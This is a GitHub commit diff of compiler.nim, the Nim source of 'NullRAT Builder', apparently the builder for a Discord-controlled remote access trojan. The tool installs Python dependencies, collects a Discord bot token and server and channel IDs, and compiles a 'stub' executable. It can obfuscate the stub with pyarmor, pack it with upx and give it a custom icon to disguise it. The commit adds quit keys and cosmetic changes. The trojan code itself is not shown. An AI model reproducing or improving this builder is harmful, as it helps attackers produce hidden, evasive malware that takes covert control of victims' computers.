Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit 98c0f4e

Browse files
committed
QoL improvements for compiler
1 parent 80eac4a commit 98c0f4e

1 file changed

Lines changed: 61 additions & 48 deletions

File tree

compiler.nim

Lines changed: 61 additions & 48 deletions
Original file line numberDiff line numberDiff line change
@@ -4,12 +4,12 @@ import std/browsers
44
import std/osproc
55
import std/[strutils, strformat]
66

7+
# Windows-only
78
proc cls() =
89
discard execShellCmd("cls")
9-
10+
1011
discard execShellCmd("title NullRAT Builder");
11-
discard execShellCmd("chcp 65001");
12-
cls()
12+
discard execShellCmd("chcp 65001 & color 4");
1313
discard execShellCmd("mode con: cols=80 lines=29");
1414

1515
proc cleanWorkingDir() =
@@ -67,22 +67,23 @@ proc compiler(): int =
6767
printName()
6868
var dirr = getAppDir()
6969
setCurrentDir(dirr / "NullRAT")
70-
echo ""
7170

7271
stdout.styledWriteLine({styleBright}, " >> Stub Compiler <<")
7372
echo ""
7473
var obfuscate: bool
7574
var compress: bool
7675
var icon: bool
77-
76+
7877
stdout.styledWriteLine({styleBright}, "Do you want to obfuscate the executable? (Y/n)")
7978
var input: char = getch()
8079
if input == 'N' or input == 'n': obfuscate = false
80+
elif input == 'Q' or input == 'q': return 0
8181
else: obfuscate = true
8282

8383
stdout.styledWriteLine({styleBright}, "Do you want to compress the executable? (Y/n)")
8484
input = getch()
8585
if input == 'N' or input == 'n': compress = false
86+
elif input == 'Q' or input == 'q': return 0
8687
else: compress = true
8788

8889
stdout.styledWriteLine({styleBright}, "Do you want to set a custom icon? (y/N)")
@@ -92,6 +93,7 @@ proc compiler(): int =
9293
icon = true
9394
echo "Enter custom icon (.ico file) path:"
9495
iconPath = readLine(stdin);
96+
elif input == 'Q' or input == 'q': return 0
9597
else: icon = false
9698

9799
printName()
@@ -101,52 +103,56 @@ proc compiler(): int =
101103
if obfuscate: echo "Executable will be obfuscated (w/ pyarmor)"
102104
if compress: echo "Executable will be compressed (w/ upx)"
103105
if icon:
104-
echo "Executable will have custom icon."
106+
echo "Executable will have custom icon (",iconPath,")"
105107
echo "Path: ", iconPath
106108
echo ""
107-
stdout.styledWriteLine({styleBright}, "Is this information correct? (Y/n)")
109+
stdout.styledWriteLine({styleBright}, "Would you like to compile now? (Y/n)")
108110
input = getch()
109111
if input == 'N' or input == 'n':
110-
echo "- Information marked incorrect! Aborting..."
112+
echo "- User declined request. Aborting..."
111113
sleep(1000)
112114
return 0
115+
elif input == 'Q' or input == 'q': return 0
113116
else:
114117
stdout.styledWriteLine(fgCyan, "- Compiling using selected settings...")
115118
stdout.styledWriteLine(fgCyan, "- Checking pyinstaller")
116-
echo wherePy = execCmdEx("where pyinstaller")
119+
var wherePy = execCmdEx("where pyinstaller").output
120+
echo wherePy
121+
discard getch()
117122

118-
proc variablesCreator() =
123+
proc variablesCreator(x: int) =
119124
printName()
120125
var dirr = getAppDir()
121126
setCurrentDir(dirr / "NullRAT")
122-
echo ""
123127

124-
stdout.styledWriteLine({styleBright}, " >> Variables Creator <<")
125-
if fileExists("Variables.py"):
126-
echo "\n- Existing Variables file discovered!"
127-
echo "\nStored information\n------------------"
128-
let EnF = readFile("Variables.py")
129-
echo EnF
130-
stdout.styledWriteLine({styleBright}, "Is this information correct? (Y/n)")
131-
var input: char = getch()
132-
if input == 'N' or input == 'n':
133-
echo "- Information marked incorrect! Continuing..."
134-
sleep(1000)
135-
printName()
136-
else:
137-
echo "- Information marked correct. Preserving..."
138-
sleep(1000)
139-
if compiler() == 0:
140-
return
128+
if x != 1:
129+
stdout.styledWriteLine({styleBright}, " >> Variables Creator <<")
130+
if fileExists("Variables.py"):
131+
stdout.styledWriteLine(fgGreen, {styleBright}, "\n- Existing Variables file discovered!")
132+
stdout.styledWriteLine(fgCyan, {styleBright}, "\nStored information\n------------------")
133+
let EnF = readFile("Variables.py")
134+
stdout.styledWriteLine(fgCyan, {styleBright}, EnF)
135+
stdout.styledWriteLine({styleBright}, "Is this information correct? (Y/n)")
136+
var input: char = getch()
137+
if input == 'N' or input == 'n':
138+
echo "- Information marked incorrect! Continuing..."
139+
sleep(1000)
140+
printName()
141+
elif input == 'Q' or input == 'q': return
142+
else:
143+
stdout.styledWriteLine(fgGreen, {styleBright}, "- Information marked correct. Preserving...")
144+
sleep(1000)
145+
if compiler() == 0:
146+
return
141147

142-
echo "-----------\nTo know how to obtain the variables,\nCheck 'Getting Variables.md' in NullRAT Github\n-----------"
143-
stdout.styledWriteLine({styleBright}, "\n[1] Please enter the Discord bot token: ")
148+
stdout.styledWriteLine(fgWhite, {styleBright}, "----------------\nTo know how to obtain the variables,\nCheck 'Getting Variables.md' in NullRAT Github\n----------------")
149+
stdout.styledWriteLine(fgWhite, {styleBright}, "\n[1] Please enter the Discord bot token: ")
144150
var token = readLine(stdin);
145-
stdout.styledWriteLine({styleBright}, "[2] Please enter the Server ID: ")
151+
stdout.styledWriteLine(fgWhite, {styleBright}, "[2] Please enter the Server ID: ")
146152
var serverID = readLine(stdin)
147-
stdout.styledWriteLine({styleBright}, "[3] Please enter the Notification channel ID: ")
153+
stdout.styledWriteLine(fgWhite, {styleBright}, "[3] Please enter the Notification channel ID: ")
148154
var notificationID = readLine(stdin)
149-
155+
150156
let lines = [
151157
"# This file was auto-generated by NullRAT Builder. DO NOT EDIT!",
152158
fmt"bot_token = ""{token}""",
@@ -167,7 +173,9 @@ proc variablesCreator() =
167173
var input: char = getch()
168174
if input == 'N' or input == 'n':
169175
echo "- Aborted! Returning to main menu..."
170-
sleep(2000)
176+
sleep(1500)
177+
variablesCreator(1)
178+
elif input == 'Q' or input == 'q': return
171179
else:
172180
echo "- Information marked correct. Writing..."
173181
removeFile("Variables.py")
@@ -183,7 +191,9 @@ proc variablesCreator() =
183191
sleep(3000)
184192
if compiler() == 0:
185193
return
186-
194+
195+
const pipModules = ["pyinstaller==4.10", "virtualenv", "disnake", "requests", "pyarmor", "mss"]
196+
187197
proc packageInstaller() =
188198
printName()
189199
stdout.styledWriteLine({styleBright}, " >> Dependencies Installer <<")
@@ -200,30 +210,32 @@ proc packageInstaller() =
200210
if result.exitCode != 0:
201211
echo "pip command failed to execute!!"
202212
else:
203-
if "pyinstaller==4.10" notin result.output or "virtualenv" notin result.output or "disnake" notin result.output or "requests" notin result.output or "pyarmor" notin result.output or "mss" notin result.output:
204-
echo "Some dependencies are not installed!"
205-
allInstalled = false
213+
for module in pipModules:
214+
if module notin result.output:
215+
echo "Some dependencies are not installed!"
216+
allInstalled = false
206217

207218
if allInstalled:
208-
echo "- All packages installed and detected!\n\nProceeding on with variables creation..."
209-
sleep(3000)
210-
variablesCreator()
219+
stdout.styledWriteLine(fgGreen, {styleBright}, "- All packages installed and detected!\n\nProceeding on with variables creation...")
220+
sleep(1500)
221+
variablesCreator(0)
211222
else:
212223
stdout.styledWriteLine({styleBright}, "[3] Installing/Updating dependencies...")
213224
var res = execShellCmd("pip install pyinstaller==4.10 virtualenv aiohttp disnake requests mss pyarmor")
214225
if res == 0:
215226
echo "========================"
216-
stdout.styledWriteLine({styleBright}, "All Installed!\nMoving to variables creation...")
227+
stdout.styledWriteLine(fgGreen, {styleBright}, "All Installed!\nMoving to variables creation...")
217228
sleep(2000)
218-
variablesCreator()
229+
variablesCreator(0)
219230

220231
else:
221232
stdout.styledWriteLine({styleBright}, "- Python not installed!\n\nWould you like to download the recommended python installer? (Y/n): ")
222233
var input: char = getch();
223234
if input == 'N' or input == 'n':
224-
echo "NullRAT Builder cannot continue otherwise!!! Exiting..."
225-
sleep(2000)
235+
echo "NullRAT Builder cannot continue otherwise!!! Exiting in 5 seconds..."
236+
sleep(5000)
226237
quit(1)
238+
elif input == 'Q' or input == 'q': return
227239
else:
228240
openDefaultBrowser("https://www.python.org/ftp/python/3.8.10/python-3.8.10.exe")
229241
echo ""
@@ -243,15 +255,16 @@ proc mainMenu() =
243255
printName();
244256
stdout.styledWriteLine({styleBright}, " >> NullRAT Builder v1.1 <<")
245257
echo ""
246-
stdout.styledWriteLine({styleBright}, " Press any key to continue, E to exit and C to clear working directory...")
258+
stdout.styledWriteLine(fgGreen, {styleBright}, " - HINT! Press Q in any window to immediately return here!")
259+
stdout.styledWriteLine({styleBright}, " Press any key to continue, E/Q to exit and C to clear working directory...")
247260
var input: char = getch();
248-
if input == 'E' or input == 'e':
261+
if input == 'E' or input == 'e' or input == 'Q' or input == 'q':
249262
quit(0)
250263
elif input == 'C' or input == 'c':
251264
cleanWorkingDir()
252265
else:
253266
packageInstaller()
254-
267+
255268
while true:
256269
mainMenu();
257270
#stdout.styledWriteLine(fgRed, "")

0 commit comments

Comments
 (0)